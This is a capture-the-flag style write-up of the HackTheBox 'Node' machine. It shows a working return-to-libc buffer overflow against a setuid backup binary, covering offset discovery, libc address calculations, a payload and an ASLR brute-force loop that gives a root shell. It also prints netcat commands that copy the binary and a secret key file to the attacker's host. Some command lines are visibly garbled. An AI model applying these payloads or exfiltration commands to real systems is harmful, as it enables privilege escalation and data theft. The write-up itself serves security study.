Keys
tom@node:~$ nc 10.10.14.nc 10.10.14.5 2222 < /usr/local/bin/backup
┌──(kali㉿kali)-[~/archive/htb/labs/node]
└─$ nnc 2222 > backup
listening on [any] 2222 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.58] 48428
I first transported the binary to Kali
I tried to reproduce the segmentation fault error
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ ltrace ./backup -q "" $(python2 -c 'print("A"*2000)')
__libc_start_main(0x80489fd, 4, 0xff9ee7d4, 0x80492c0 <unfinished ...>
geteuid() = 1000
setuid(1000) = 0
strcmp("-q", "-q") = 0
strncpy(0xff9ee678, "", 100) = 0xff9ee678
strcpy(0xff9ee661, "/") = 0xff9ee661
strcpy(0xff9ee66d, "/") = 0xff9ee66d
strcpy(0xff9ee5f7, "/e") = 0xff9ee5f7
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0
exit(1 <no return ...>
+++ exited (status 1) +++
It wouldn’t work because the binary requires the /etc/myplace/keys
file
tom@node:/dev/shm$ cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
This is the key.
tom@node:/dev/shm$ nc 10.10.14.5 2222 nc 10.10.14.5 2222 < /etc/myplace/keys
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ nnc 2222 > keys
listening on [any] 2222 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.58] 48450
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ sudo mkdir -p /etc/myplace ; sudo mv ./keys /etc/myplace
I will copy over the file to the respective location on Kali, so the binary would function
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ ./backup -q "" $(python2 -c 'print("A"*2000)')
zsh: segmentation fault
Now, I got the segmentation fault error
Security
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ gdb-peda -q ./backup
Reading symbols from ./backup...
(No debugging symbols found in ./backup)
gdb-peda$ start
I loaded and started the binary to gdb for debugging
Checking the security measure
NX
is enabled
ASLR
tom@node:/dev/shm$ cat /proc/sys/kernel/randomize_va_space
2
ASLR (Address Space Layout Randomization) is also enabled on the target system..
tom@node:/dev/shm$ ulimit -s unlimitedulimit -s unlimited
tom@node:/dev/shm$ cat /proc/sys/kernel/randomize_va_space
2
Much expected, but I could not disable it
This means that the ESP and EIP will be randomized every time the program runs
There are a few ways around it.
i will go over it later
Control of EIP
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ patterncreate -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
I will create a pattern of 1000 characters to locate the buffer overflow
gdb-peda$ r q "" Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
This is the input command that I place.
Notice there is no -q
flag, because gdb cannot process the -
sign
The program ran just fine without it
The program crashed with segmentation fault
The EIP is pointing to the memory location of
0x31724130
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ patternoffset -q 0x31724130
[*] Exact match at offset 512
I got a match at 512. This means that I would have to supply a 512 byte length of buffer I will confirm it
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ patterncreate -l 512
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
Creating a pattern of 512 characters. I will append 4 of B’s at the end of it
Executing
The program crashed and the EIP points to
0x42424242
, which is BBBB in hexadecimal
I have the control of EIP
Payload Space
Now that I have the control of EIP, I can check how much of space that I can have for a potential shell code
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ python2 -c 'print("C"*500)'
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
I can do that by appending arbitrary number of C’s I will start with 500
It shows that the C was repeated 200 times
Bad Characters
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ badchars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Generating the entire 256 possible hexadecimal values
gdb-peda$ r q "" $(python2 -c 'print("A"*512 + "BBBB" + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")')
Input
- 512 of A’s for buffer
- 4 of B’s for the EIP control
- The remaining is the entire hexadecimal characters
I had a LOT of trials and errors due to the fact that ASCII and HEX characters cannot be supplied together. I switch to Python wrapped in Bash command substitution. In this way, Python will take care of interpreting the types for me
Executing…
The program crashed as expected.
The ESP is point to the memory location at
0xffffba70
0x4030201
is the value stored at the memory location at 0xffffba70
0x4030201
is a little-endian representation of the bytes "\x01\x02\x03\x04"
in hexadecimal
gdb-peda$ x/256xb $esp
0xffffba70: 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08
0xffffba78: 0x00 0xd5 0x04 0x08 0x1b 0x8a 0x04 0x08
0xffffba80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffba88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffba90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffba98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbaa0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbaa8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbab0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbab8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbac0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbac8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbad0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbad8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbae0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbae8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbaf0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbaf8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb00: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb08: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb10: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb20: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb28: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb38: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb40: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb58: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffbb68: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Heading over to the memory location that the ESP points to; ffffba70
I expected those 256 hex characters to be here, but they are NOT
gdb-peda$ x/10000xb $esp
0xffffba70: 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08
0xffffba78: 0x00 0xd5 0x04 0x08 0x1b 0x8a 0x04 0x08
0xffffba80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
[...REDACTED...]
0xffffd018: 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08
0xffffd020: 0x00 0x0b 0x0c 0x0d 0x0e 0x0f 0x10 0x11
0xffffd028: 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19
0xffffd030: 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x00 0x21
0xffffd038: 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29
0xffffd040: 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31
0xffffd048: 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39
0xffffd050: 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f 0x40 0x41
0xffffd058: 0x42 0x43 0x44 0x45 0x46 0x47 0x48 0x49
0xffffd060: 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f 0x50 0x51
0xffffd068: 0x52 0x53 0x54 0x55 0x56 0x57 0x58 0x59
0xffffd070: 0x5a 0x5b 0x5c 0x5d 0x5e 0x5f 0x60 0x61
0xffffd078: 0x62 0x63 0x64 0x65 0x66 0x67 0x68 0x69
0xffffd080: 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70 0x71
0xffffd088: 0x72 0x73 0x74 0x75 0x76 0x77 0x78 0x79
0xffffd090: 0x7a 0x7b 0x7c 0x7d 0x7e 0x7f 0xc2 0x80
0xffffd098: 0xc2 0x81 0xc2 0x82 0xc2 0x83 0xc2 0x84
0xffffd0a0: 0xc2 0x85 0xc2 0x86 0xc2 0x87 0xc2 0x88
0xffffd0a8: 0xc2 0x89 0xc2 0x8a 0xc2 0x8b 0xc2 0x8c
0xffffd0b0: 0xc2 0x8d 0xc2 0x8e 0xc2 0x8f 0xc2 0x90
0xffffd0b8: 0xc2 0x91 0xc2 0x92 0xc2 0x93 0xc2 0x94
0xffffd0c0: 0xc2 0x95 0xc2 0x96 0xc2 0x97 0xc2 0x98
0xffffd0c8: 0xc2 0x99 0xc2 0x9a 0xc2 0x9b 0xc2 0x9c
0xffffd0d0: 0xc2 0x9d 0xc2 0x9e 0xc2 0x9f 0xc2 0xa0
0xffffd0d8: 0xc2 0xa1 0xc2 0xa2 0xc2 0xa3 0xc2 0xa4
0xffffd0e0: 0xc2 0xa5 0xc2 0xa6 0xc2 0xa7 0xc2 0xa8
0xffffd0e8: 0xc2 0xa9 0xc2 0xaa 0xc2 0xab 0xc2 0xac
0xffffd0f0: 0xc2 0xad 0xc2 0xae 0xc2 0xaf 0xc2 0xb0
0xffffd0f8: 0xc2 0xb1 0xc2 0xb2 0xc2 0xb3 0xc2 0xb4
0xffffd100: 0xc2 0xb5 0xc2 0xb6 0xc2 0xb7 0xc2 0xb8
0xffffd108: 0xc2 0xb9 0xc2 0xba 0xc2 0xbb 0xc2 0xbc
0xffffd110: 0xc2 0xbd 0xc2 0xbe 0xc2 0xbf 0xc3 0x80
0xffffd118: 0xc3 0x81 0xc3 0x82 0xc3 0x83 0xc3 0x84
0xffffd120: 0xc3 0x85 0xc3 0x86 0xc3 0x87 0xc3 0x88
0xffffd128: 0xc3 0x89 0xc3 0x8a 0xc3 0x8b 0xc3 0x8c
0xffffd130: 0xc3 0x8d 0xc3 0x8e 0xc3 0x8f 0xc3 0x90
0xffffd138: 0xc3 0x91 0xc3 0x92 0xc3 0x93 0xc3 0x94
0xffffd140: 0xc3 0x95 0xc3 0x96 0xc3 0x97 0xc3 0x98
0xffffd148: 0xc3 0x99 0xc3 0x9a 0xc3 0x9b 0xc3 0x9c
0xffffd150: 0xc3 0x9d 0xc3 0x9e 0xc3 0x9f 0xc3 0xa0
0xffffd158: 0xc3 0xa1 0xc3 0xa2 0xc3 0xa3 0xc3 0xa4
0xffffd160: 0xc3 0xa5 0xc3 0xa6 0xc3 0xa7 0xc3 0xa8
0xffffd168: 0xc3 0xa9 0xc3 0xaa 0xc3 0xab 0xc3 0xac
0xffffd170: 0xc3 0xad 0xc3 0xae 0xc3 0xaf 0xc3 0xb0
0xffffd178: 0xc3 0xb1 0xc3 0xb2 0xc3 0xb3 0xc3 0xb4
0xffffd180: 0xc3 0xb5 0xc3 0xb6 0xc3 0xb7 0xc3 0xb8
0xffffd188: 0xc3 0xb9 0xc3 0xba 0xc3 0xbb 0xc3 0xbc
0xffffd190: 0xc3 0xbd 0xc3 0xbe 0xc3 0xbf 0x00 0x4c
Those hex characters are stored at 0xffffd018
, which is really far from where the ESP initially points to.
Not only that.
The thing starts to get really strange at 0xffffd098
with a new pattern forming.
There are random 0xc2
and 0xc3
in-between.
At this point, I would assume that injecting a shellcode is out of option since I can’t even get hex characters in
All these might be due to my lack of understanding or maybe the enabled NX
is responsible
Return to libc Attack:
The Return to libc attack
is a method of exploiting a buffer overflow vulnerability in which the attacker does not inject their own code, but instead redirects the execution flow to existing code located in the program’s memory. This is done by overwriting the return address in the call stack with the address of a function in the C library, such as system()
, exit()
, or /bin/sh
.
The system()
function is used to execute shell commands while the exit()
function is used to terminate the process.
By redirecting the execution flow to system()
and passing the address of /bin/sh
as an argument, the attacker can execute arbitrary shell commands with the privileges of the compromised program.
One of the key benefits of this technique is that it can be used to bypass security measures that are designed to prevent the execution of injected code, such as data execution prevention (DEP) and address space layout randomization (ASLR)
Base
tom@node:/dev/shm$ for i in {1..20}; do ldd /usr/local/bin/backup | grep libc; done
libc.so.6 => /lib32/libc.so.6 (0xf75b2000)
libc.so.6 => /lib32/libc.so.6 (0xf7600000)
libc.so.6 => /lib32/libc.so.6 (0xf75e2000)
libc.so.6 => /lib32/libc.so.6 (0xf75aa000)
libc.so.6 => /lib32/libc.so.6 (0xf7535000)
libc.so.6 => /lib32/libc.so.6 (0xf75a7000)
libc.so.6 => /lib32/libc.so.6 (0xf75fd000)
libc.so.6 => /lib32/libc.so.6 (0xf7530000)
libc.so.6 => /lib32/libc.so.6 (0xf757f000)
libc.so.6 => /lib32/libc.so.6 (0xf7539000)
libc.so.6 => /lib32/libc.so.6 (0xf751d000)
libc.so.6 => /lib32/libc.so.6 (0xf7552000)
libc.so.6 => /lib32/libc.so.6 (0xf754c000)
libc.so.6 => /lib32/libc.so.6 (0xf7559000)
libc.so.6 => /lib32/libc.so.6 (0xf75c3000)
libc.so.6 => /lib32/libc.so.6 (0xf7542000)
libc.so.6 => /lib32/libc.so.6 (0xf75b6000)
libc.so.6 => /lib32/libc.so.6 (0xf75a3000)
libc.so.6 => /lib32/libc.so.6 (0xf752e000)
libc.so.6 => /lib32/libc.so.6 (0xf755f000)
By executing the binary with the ldd command prepended, I can see the memory address used by the libc I can loop the whole operation to get the idea of how dynamic of a change ASLR influences between executions of the binary
They are all different just by 3 digits in the middle.
I can just pick one and use it as the base, hoping that it would eventually land on that address during the brute-force
0xf7535000
is going to be the base address
Oh it also reveals the location of the libc library used
In this case, the library is located at /lib32/libc.so.6
System
tom@node:/dev/shm$ readelf -s /lib32/libc.so.6 | grep -i 'system@@'
627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
The offset of system@@GLIBC_2.0
is 0003a940
Exit
tom@node:/dev/shm$ readelf -s /lib32/libc.so.6 | grep -i 'exit@@'
112: 0002eba0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e7b0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
558: 000af578 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00113840 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eb80 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002e9d0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1506: 000f19a0 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
1849: 000af578 24 FUNC WEAK DEFAULT 13 _Exit@@GLIBC_2.1.1
2263: 0002e7d0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f2db0 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
The offset of exit@@GLIBC_2.0
is 0002e7b0
/bin/sh
tom@node:/dev/shm$ strings -atx /lib32/libc.so.6 | grep -i /bin/sh
15900b /bin/sh
The offset of the /bin/sh
string is 15900b
Calculating the addresses
The formula is
system address
=base address
+system offset
exit address
=base address
+exit offset
/bin/sh address
=base address
+/bin/sh offset
It can be done inside gdb
gdb-peda$ p 0xf7535000 + 0x0003a940
$1 = 0xf756f940 ## system address
gdb-peda$ p 0xf7535000 + 0x0002e7b0
$2 = 0xf75637b0 ## exit address
gdb-peda$ p 0xf7535000 + 0x15900b
$3 = 0xf768e00b ## /bin/sh address
Payload
Payload structure is Buffer
+ system address
+ exit address
+ /bin/sh address
in the little Endian format
$(python -c 'print("A"*512 + "\x40\xf9\x56\xf7" + "\xb0\x37\x56\xf7" + "\x0b\xe0\x68\xf7")')
So this would be the final payload
import struct
def conv(x):
return struct.pack("<I", x)
system = conv(0xf756f940)
exit = conv(0xf75637b0)
binsh = conv(0xf768e00b)
rop = 'A' * 512
rop += system
rop += exit
rop += binsh
print rop
or I can just script it to calculate and print out the whole payload
But I would have to brute force it since there is ASLR enabled, randomizing the base address.
Brute Force
I can loop it
tom@node:/dev/shm$ for i in {1..500}; do /usr/local/bin/backup q "" $(python -c 'print("A"*512 + "\x40\xf9\x56\xf7" + "\xb0\x37\x56\xf7" + "\x0b\xe0\x68\xf7")'); done
It took awhile but it eventually landed on the base address that I set up
# whoami
whoami
root
# hostname
hostname
node
# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:1b:9d brd ff:ff:ff:ff:ff:ff
inet 10.10.10.58/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:feb9:1b9d/64 scope link
valid_lft forever preferred_lft forever
System Level Compromise